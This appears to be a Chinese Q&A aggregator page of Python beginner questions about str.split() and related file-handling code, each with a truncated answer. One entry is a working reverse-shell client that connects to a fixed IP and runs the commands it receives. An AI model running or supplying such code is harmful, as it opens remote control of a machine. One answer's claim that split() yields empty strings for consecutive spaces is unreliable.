Python中ls=s.split()啥意思

时间: 2024-01-21 18:16:05 浏览: 120
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python3实现ftp服务功能（客户端）

这行代码的意思是将一个字符串s按照空格分割成多个字符串，并将这些字符串存储在列表ls中。例如，如果s为"hello world"，那么执行这行代码后，ls就会变成['hello', 'world']。可以通过以下代码来验证： ``` s = "hello world" ls = s.split() print(ls) ``` 输出结果为：['hello', 'world']
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"Python模块介绍及其在操作系统交互中的应用" Python是一种高级编程语言，它提供了丰富的内置模块和第三方模块，以帮助开发者实现各种功能。其中，os模块是Python标准库中的一个重要组成部分，它允许程序员与操作...

s = "I love Python"ls = s.split()ls.reverse()print(ls)

程序首先将字符串 s 以空格为分隔符进行切割，得到一个包含三个元素的列表 ls，内容为 ['I', 'love', 'Python']。然后使用 reverse() 方法将列表反转，得到的新列表为 ['Python', 'love', 'I']。最后将该...

ls = s.split()

具体来说，s.split()方法会将字符串s按照空格分割成多个子字符串，并将这些子字符串保存到一个列表中。如果s中存在连续的空格，split()方法会忽略这些空格，并将它们看作一个空字符串。 例如，如果s为...

#!/usr/bin/python3 import csv #输入csv文件 fo = open("shishi.csv","w") list=[] stopword = '' stri = '' try: for line in iter(input, stopword): stri += line + '\n' except EOFError: pass stri = stri[0:-1] list = stri.split(",") fo.write(",".join(list)+"\n") fo.close() #输出csv文件 fo = open("shishi.csv","r") ls = [] for line in fo: line = line.replace("\n","") ls = line.split(",") lns = "" for s in ls: lns += "{}\t".format(s) print(lns) fo.close()注释

这是一段Python代码，实现了从标准输入读取逗号分隔的数据并将其写入到一个CSV文件中，然后再将CSV文件中的数据读取并输出到控制台。具体来说，代码中使用了以下一些关键字和函数： - import：导入Python内置的csv...

f1=open("data.txt","r”) f open("univ.txt"，”w”) ls=f1.readlines() for line in ls: if'alt’in line: lt=line.split('alt=') f.write(lt[1].split('"')[1]+'\n') f.close() f1.close

这是一段 Python 代码。代码的主要作用是从名为 "data.txt" 的文件中读取数据，并将其中包含 "alt" 的行中的 "alt" 属性的值提取出来，然后将这些值写入名为 "univ.txt" 的文件中，每个值占一行。该代码的运行需要...

ls1 = {} ls2 = [] ls3 = [['班级', '学号', '姓名', '测试1（百分制）', '测试2（百分制）', '测试3（百分制）', '测试4（百分制）', '总分', '备注']] with open('total.csv', mode='r') as f: r = f.readlines() n = 0 for l in r: ls4 = l.split(',') ls4[-1] = ls4[-1][:-1] if n == 0: for t in ls4[3:]: num = '' for s in t: if s.isdigit(): num += s if s == '.': break ls2.append(int(num)) else: lens = len(ls4[3:]) for j in range(lens): if ls4[3 + j] == '缺考': ls4[3 + j] = 0 ls1[ls4[2]] = list(map(int, [ls4[3], ls4[4], ls4[5], ls4[6]])) n += 1 for t, v in ls1.items(): f = len(v) for k in range(f): v[k] = (v[k] / ls2[k]) * 100 // 1 p = sum(v) v.append(p) with open('total.csv', mode='r') as f: n = f.readlines() for l in r: ls = l.split(',') ls[-1] = ls[-1][:-1] ls3.append(ls[:3]) a = 1 for t, v in ls1.items(): for o in v: o = str(o) ls3[a + 1].append(o) a += 1 ls3.pop(1) with open('最终成绩单.csv', mode='w') as f: for i in ls3: s = ','.join(i) s += '\n' f.write(s) print(i) 改一下变量

python dict_scores = {} list_max_scores = [] list_table_header = [['班级', '学号', '姓名', '测试1（百分制）', '测试2（百分制）', '测试3（百分制）', '测试4（百分制）', '总分', '备注']] with open...

import socket, subprocess # 设置服务器IP与端口 HOST = "192.168.146.128" PORT = 11443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('[*]建立了连接') while 1: # 接收命令，从服务器接收命令，读取1024字节数据并保存 data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close()检查代码是否有问题

3. 在 Popen() 方法中执行命令时，应该避免使用 shell=True，因为这样会将命令解释器交给 shell 来处理，存在安全问题，应该将命令拆分成参数列表，如使用 subprocess.Popen(['ls', '-l'], stdout=subprocess.PIPE) ...

txt = input("请输入类型序列: ") t=txt.split(" ") d = {} for i in range(len(t)): d[t[i]]=d.get(t[i],0)+1 ls = list(d.items()) ls.sort(key=lambda x:x[1], reverse=True) # 按照数量排序 for k in ls: print("{}:{}".format(k[0], k[1]))

这是一段Python代码，功能是统计一个输入的类型序列中每个类型出现的次数，并按照出现次数从多到少排序。具体实现方法是，首先从用户输入中分割出各个类型，然后通过循环遍历每个类型，统计出现次数，存储在一个字典...

ls=['中国','美国','日本','德国','法国'] fo=open("country.csv","w") fo.write(",".join(ls)) #*****FOUND***** close() fo=open("country.csv","r") #*****FOUND***** fo.read() ls=txt.split(",") #*****FOUND***** print(txt) fo.close() （15.0分）

ls=txt.split(",") print(ls) fo.close() 修正说明： 1. 在写入文件后需要关闭文件，因此添加了 fo.close()。 2. 在读取文件前需要先打开文件，因此添加了 fo=open("country.csv","r")。 3. 读取文件后...

#Web元素提取 def getHTML(htmlpath): #读取HTML文件内容 f=open(htmlpath,'r',encoding='utf-8') ls=f.readlines() f.close() return ls def extractImageUrls(htmllist): #解析文件并提取图像的URL urls=[] for line in htmllist: if 'img'in line: #图像用img标签表示 url=line.split('src=')[-1].split('"')[1] if 'http' in url: #每个URL都以http开头 urls.append(url) return urls def showResults(urls): #将获取的链接输出 for url in urls: url1=url.strip().split('\t') name='20180112025424524.png' if name in urls: print('png图像文件为:20180112025424524.png对应的URL为:{}'.format(url1)) def saveResults(filepath,urls): #保存结果到文件 f=open(filepath,'w') for url in urls: f.write(url+'\n') f.close() def main(): inputfile="C:\Users\86183\Downloads\nationalgeographic.html" outputfile='nationalgeographic.txt' htmlLines=getHTML(inputfile) imagUrls=extractImageUrls(htmlLines) showResults(imagUrls) saveResults(outputfile,imagUrls) main() 如何修改这段Python代码，使其实现用print实现如下输出： 图像列表中，png图像文件为：20180112025424524.png 对应的URL为：http://image.nationalgeographic.com.cn/2018/0112/20180112025424524.png

您可以将showResults函数修改为以下代码： def showResults(urls): for url in urls: if '20180112025424524.... print("图像列表中，png图像文件为：20180112025424524.png 对应的URL为：{}".format(url))

names = input().split() ret = {} for s in names: ret[s] = ret.get(s,0)+1 ls = list(ret.items()) ls.sort(key=lambda x:x[1],reverse=True) for k in range(len(ls)): m,n=ls[k] print("{}:{}".format(m,n))每一句什么意思

这段代码是一个 Python 代码段，它的作用是输入一些名字，并将它们按出现次数从多到少的顺序输出。 每一句代码的意思如下： 1. 输入一些名字，使用空格分隔，返回一个名字列表。 2. 创建一个空字典。 3. 对于...

#Web元素提取 def getHTML(htmlpath): #读取HTML文件内容 f=open(htmlpath,'r',encoding='utf-8') ls=f.readlines() f.close() return ls def extracttImage(htmllist): #解析文件并提取图像的URL urls=[] for line in htmllist: if 'img'in line: #图像用img标签表示 url==line.split('src=')[-1].split('"')[1] if 'http' in url: #每个URL都以http开头 urls.append(url) return urls def showResult(urls): #将获取的链接输出 for url in urls: print('png图像文件为:20180112025424524.png对应的URL为:{}'.format(url) def saveResults(filepath,urls): #保存结果到文件 f=open(filepath,'w') for url in urls: f.write(url+'\n') f.close() def.main(): inputfile="nationalgeographic.html" outputfile='nationalgeographic.txt' htmlLines=getHTML(inputfile) imagUrls=extractImageUrls(htmlLines) showResults(imageUrls) saveResults(outputfile,imageUrls) main() 这段代码错误为？如何修改？

url = line.split('src=')[-1].split('"')[1] if 'http' in url: # 每个URL都以http开头 urls.append(url) return urls def showResults(urls): # 将获取的链接输出 for url in urls: print('png图像文件...

帮我分析一下python程序代码import json fr = open("D:\python\price2016.csv","r",encoding='gb18030') ls = [] for line in fr: line = line.replace("\n","") ls.append(line.split(',')) fr.close() fw = open("D:\python\price2016.json","w") for i in range(1,len(ls)): ls[i] = dict(zip(ls[0],ls[i])) json.dump(ls[1:],fw,sort_keys=True,indent=4,ensure_ascii=False) fw.close()

这段 Python 代码的作用是将一个 CSV 文件转换为 JSON 格式，并写入到另一个文件中。 具体实现过程如下： 1. 使用 open() 函数读取 CSV 文件，指定文件路径、模式为"r"（只读）以及编码格式为 "gb18030"。 2. ...

分析以下代码#!/usr/bin/python # -*- coding:utf-8 -*- import numpy as np import pandas as pd import matplotlib as mpl import matplotlib.pyplot as plt from sklearn import svm from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score # 'sepal length', 'sepal width', 'petal length', 'petal width' iris_feature = u'花萼长度', u'花萼宽度', u'花瓣长度', u'花瓣宽度' if __name__ == "__main__": path = 'D:\\iris.data' # 数据文件路径 data = pd.read_csv(path, header=None) x, y = data[range(4)], data[4] y = pd.Categorical(y).codes x = x[[0, 1]] x_train, x_test, y_train, y_test = train_test_split(x, y, random_state=1, train_size=0.6) # 分类器 clf = svm.SVC(C=0.1, kernel='linear', decision_function_shape='ovr') # clf = svm.SVC(C=0.8, kernel='rbf', gamma=20, decision_function_shape='ovr') clf.fit(x_train, y_train.ravel()) # 准确率 print (clf.score(x_train, y_train)) # 精度 print ('训练集准确率：', accuracy_score(y_train, clf.predict(x_train))) print (clf.score(x_test, y_test)) print ('测试集准确率：', accuracy_score(y_test, clf.predict(x_test))) # decision_function print ('decision_function:\n', clf.decision_function(x_train)) print ('\npredict:\n', clf.predict(x_train)) # 画图 x1_min, x2_min = x.min() x1_max, x2_max = x.max() x1, x2 = np.mgrid[x1_min:x1_max:500j, x2_min:x2_max:500j] # 生成网格采样点 grid_test = np.stack((x1.flat, x2.flat), axis=1) # 测试点 # print 'grid_test = \n', grid_test # Z = clf.decision_function(grid_test) # 样本到决策面的距离 # print Z grid_hat = clf.predict(grid_test) # 预测分类值 grid_hat = grid_hat.reshape(x1.shape) # 使之与输入的形状相同 mpl.rcParams['font.sans-serif'] = [u'SimHei'] mpl.rcParams['axes.unicode_minus'] = False cm_light = mpl.colors.ListedColormap(['#A0FFA0', '#FFA0A0', '#A0A0FF']) cm_dark = mpl.colors.ListedColormap(['g', 'r', 'b']) plt.figure(facecolor='w') plt.pcolormesh(x1, x2, grid_hat, shading='auto', cmap=cm_light) plt.scatter(x[0], x[1], c=y, edgecolors='k', s=50, cmap=cm_dark) # 样本 plt.scatter(x_test[0], x_test[1], s=120, facecolors='none', zorder=10) # 圈中测试集样本 plt.xlabel(iris_feature[0], fontsize=13) plt.ylabel(iris_feature[1], fontsize=13) plt.xlim(x1_min, x1_max) plt.ylim(x2_min, x2_max) plt.title(u'鸢尾花SVM二特征分类', fontsize=16) plt.grid(b=True, ls=':') plt.tight_layout(pad=1.5) plt.show()

1. 导入必要的库，包括 numpy、pandas、matplotlib、sklearn 中的 svm、train_test_split 和 accuracy_score。 2. 读取鸢尾花数据集，将前四列作为特征值 x，将最后一列作为目标值 y，并将 y 转换为数字编码。 3. ...

补充下列代码，完成将数据文件‘score.csv’读入列表，文件内容及输出结果如图所示。 注意：不要输入多余的空格，字符串标记请使西文单引号！ image.png image.png f=open('score.csv','r+') ls=[[]] for line in f: line= line.strip() ls.append( line.split(',') ) print(ls)

补充后的代码如下所示： python f = open('score.csv', 'r+') ls = [[]] for line in f: line = line.strip() ...注意，在总列表ls中，最开始添加了一个空列表，是为了避免在后续处理中出现索引错误。

class adjMatrixGraph: # 构造方法，n个顶点m条边 def __init__(self,n,m): self.verNum = n #顶点数 self.edgeNum = m #边数 self.vertex = [0] * n #顶点列表 self.edge = [[0 for i in range(self.verNum)] \ for j in range(self.verNum)] #邻接矩阵二维列表 self.vis = [False] * n #顶点的访问列表，默认没访问过 def addVertex(self,ls): #添加顶点列表 self.vertex = ls def addEdge(self,fr,to):#添加边(fr,to) ifr = self.vertex.index(fr) #起点下标 ito = self.vertex.index(to) #终点下标 self.edge[ifr][ito] = self.edge[ito][ifr] = 1 #邻接矩阵 #邻接矩阵建图 def createGraph(): n,m = map(int,input().split()) #输入n个顶点和m条边 g = adjMatrixGraph(n,m) #创建无向图G g.addVertex(list(input().split())) #输入顶点列表 for i in range(m): #输入m条边 fr,to = input().split() g.addEdge(fr,to) return g 编写一个深度优先搜索得函数

python def DFS(graph, start): visited = [False] * graph.verNum # 初始化所有顶点为未访问状态 stack = [] # 栈用于存储待访问的顶点 stack.append(start) # 将起始顶点加入栈中 while stack: # 取出栈顶...

import json fr = open("price2016.csv", "r") ls = [] for line in fr: line = line.replace("\n","") ls.append(line.split(',')) fr.close() fw = open("price2016.json", "w") for i in range(1,len(ls)): ls[i] = dict(zip(ls[0], ls[i])) json.dump(ls[1:],fw, sort_keys=True, indent=4, ensure_ascii=False) fw.close()改进代码，使代码能够识别csv文件中的逗号

可以使用Python标准库中的csv模块来处理CSV文件，避免手动处理逗号分隔符。改进后的代码如下： python import csv import json with open("price2016.csv", "r", encoding="utf-8") as fr: reader = csv....

ls.append(s.split()

如果将其修改为ls.append(s.split())，则其作用是将字符串s按照空格分割成一个列表，并将该列表添加到列表ls的末尾。 例如，如果s为"apple 10"，那么s.split()会将其分割成一个包含两个字符串的列表：["apple",...

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